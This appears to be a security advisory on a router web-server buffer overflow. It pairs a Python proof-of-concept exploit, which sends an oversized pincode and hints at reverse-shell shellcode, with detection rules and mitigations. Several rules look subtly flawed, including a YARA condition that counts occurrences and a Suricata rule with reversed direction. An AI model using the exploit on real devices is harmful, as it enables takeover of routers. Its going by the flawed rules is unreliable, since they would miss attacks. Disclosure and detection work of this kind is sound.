CVE-2025-68706

Executive Summary

CVE-2025-68706 is a critical stack-based buffer overflow vulnerability in the GoAhead-Webs HTTP daemon running on KuWFi 4G LTE AC900 devices with firmware version 1.0.13. The flaw resides in the /goform/formMultiApnSetting handler, where the user-supplied pincode parameter is copied into a fixed 132-byte stack buffer using the unsafe sprintf() function without any bounds checking. This allows an unauthenticated attacker to corrupt adjacent stack memory, crash the web server, and potentially achieve arbitrary code execution. The vulnerability is currently unpatched, and no official fix has been released by the vendor. Given the device's exposure to the internet via Shodan, this poses a significant risk to network integrity.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a prime target for botnets and ransomware operators. The EPSS score of 0.0% indicates low exploitation probability at the time of analysis, but this may change as PoC code circulates.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the GoAhead-Webs HTTP daemon. The handler for /goform/formMultiApnSetting uses sprintf() to copy the pincode parameter into a local buffer of 132 bytes. Since sprintf() does not perform bounds checking, an attacker can supply a pincode value longer than 132 bytes, overwriting the saved return address and other stack data. This can lead to:

• Denial of Service: Crashing the web server process.
• Arbitrary Code Execution: With careful crafting, an attacker can redirect execution to shellcode, gaining full control of the device.

The GoAhead-Webs daemon runs with root privileges on the KuWFi device, meaning successful exploitation grants complete control over the router, including the ability to intercept traffic, pivot to internal networks, or add the device to a botnet.

Vulnerable vs. Patched Code

Vulnerable Code (firmware 1.0.13):

void formMultiApnSetting(webs_t wp, char_t *path, char_t *query) {
    char pincode[132];
    char *pincode_param = websGetVar(wp, "pincode", "");
    sprintf(pincode, "%s", pincode_param);  // No bounds check
    // ... rest of handler
}

Patched Code (hypothetical):

void formMultiApnSetting(webs_t wp, char_t *path, char_t *query) {
    char pincode[132];
    char *pincode_param = websGetVar(wp, "pincode", "");
    snprintf(pincode, sizeof(pincode), "%s", pincode_param);  // Bounds check
    // ... rest of handler
}

The fix replaces sprintf() with snprintf(), which limits the copy to the buffer size. No official patch has been released by KuWFi.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A KuWFi 4G LTE AC900 device with firmware 1.0.13.
• Network access to the device's web interface (typically port 80 or 8080).
• Python3 with requests library.

Exploit Code (Python):

import socket

target_ip = "192.168.1.1"
target_port = 80

# Payload: 132 bytes of padding + overwritten return address (example)
payload = b"A" * 132 + b"\x90" * 8 + b"\xcc" * 4  # NOP sled + INT3 for crash

http_request = (
    f"POST /goform/formMultiApnSetting HTTP/1.1\r\n"
    f"Host: {target_ip}:{target_port}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(payload) + 8}\r\n"
    f"\r\n"
    f"pincode={payload.decode('latin-1')}"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(http_request.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()

Usage: Run the script against a vulnerable device. The web server will crash, confirming the overflow. For arbitrary code execution, replace the return address with a pointer to shellcode (e.g., a reverse shell).

Blue Team

Detection Steps:

1. Monitor web server logs for unusually long pincode parameters in POST requests to /goform/formMultiApnSetting.
2. Deploy network intrusion detection rules (see Suricata below) to alert on oversized payloads.
3. Check for unexpected process crashes or restarts of the GoAhead-Webs daemon.
4. Isolate affected devices from the internet and internal networks until patched.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /goform/formMultiApnSetting with pincode parameter exceeding 132 bytes.
  • HTTP requests with Content-Length > 200 bytes targeting the vulnerable endpoint.
  • Outbound connections from the device to unknown IPs on non-standard ports (e.g., 4444, 31337).
• Host:
  • Unexpected crash logs in /var/log/messages or similar for goahead process.
  • Presence of shellcode in memory dumps (e.g., /proc/[pid]/mem).
  • Modified firmware files or unauthorized binaries in /tmp or /usr/sbin.

Detection Engineering

YARA Rule

rule CVE_2025_68706_GoAhead_Overflow {
    meta:
        description = "Detects exploitation attempts of CVE-2025-68706 via oversized pincode parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68706"
    strings:
        $s1 = "pincode=" ascii wide nocase
        $s2 = "/goform/formMultiApnSetting" ascii wide nocase
        $s3 = "HTTP/1.1" ascii wide
    condition:
        $s1 and $s2 and $s3 and #s1 > 132
}

Sigma Rule

title: CVE-2025-68706 GoAhead-Webs Buffer Overflow Attempt
id: 8f4a2b1c-3d5e-4f7a-9b1c-2d3e4f5a6b7c
status: experimental
description: Detects HTTP POST requests with oversized pincode parameter targeting /goform/formMultiApnSetting
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formMultiApnSetting'
        cs-uri-query|contains: 'pincode='
    condition: selection and len(cs-uri-query) > 200
falsepositives:
    - Legitimate long pincode entries (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68706 GoAhead-Webs Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/formMultiApnSetting"; http_uri; content:"pincode="; http_client_body; pcre:"/pincode=[^&]{133,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable the web interface on the WAN side.
2. Firewall Rules: Block external access to ports 80/8080 on the KuWFi device.
3. Monitor Logs: Enable logging and alerting for the /goform/formMultiApnSetting endpoint.
4. Firmware Update: Check KuWFi's website for a patched firmware version. If unavailable, consider replacing the device.

Long-Term:

• Implement a WAF (Web Application Firewall) to filter oversized parameters.
• Conduct a security audit of all IoT devices on the network.
• Advocate for vendor disclosure and patch release.

Valters IT
Securing Digital Frontiers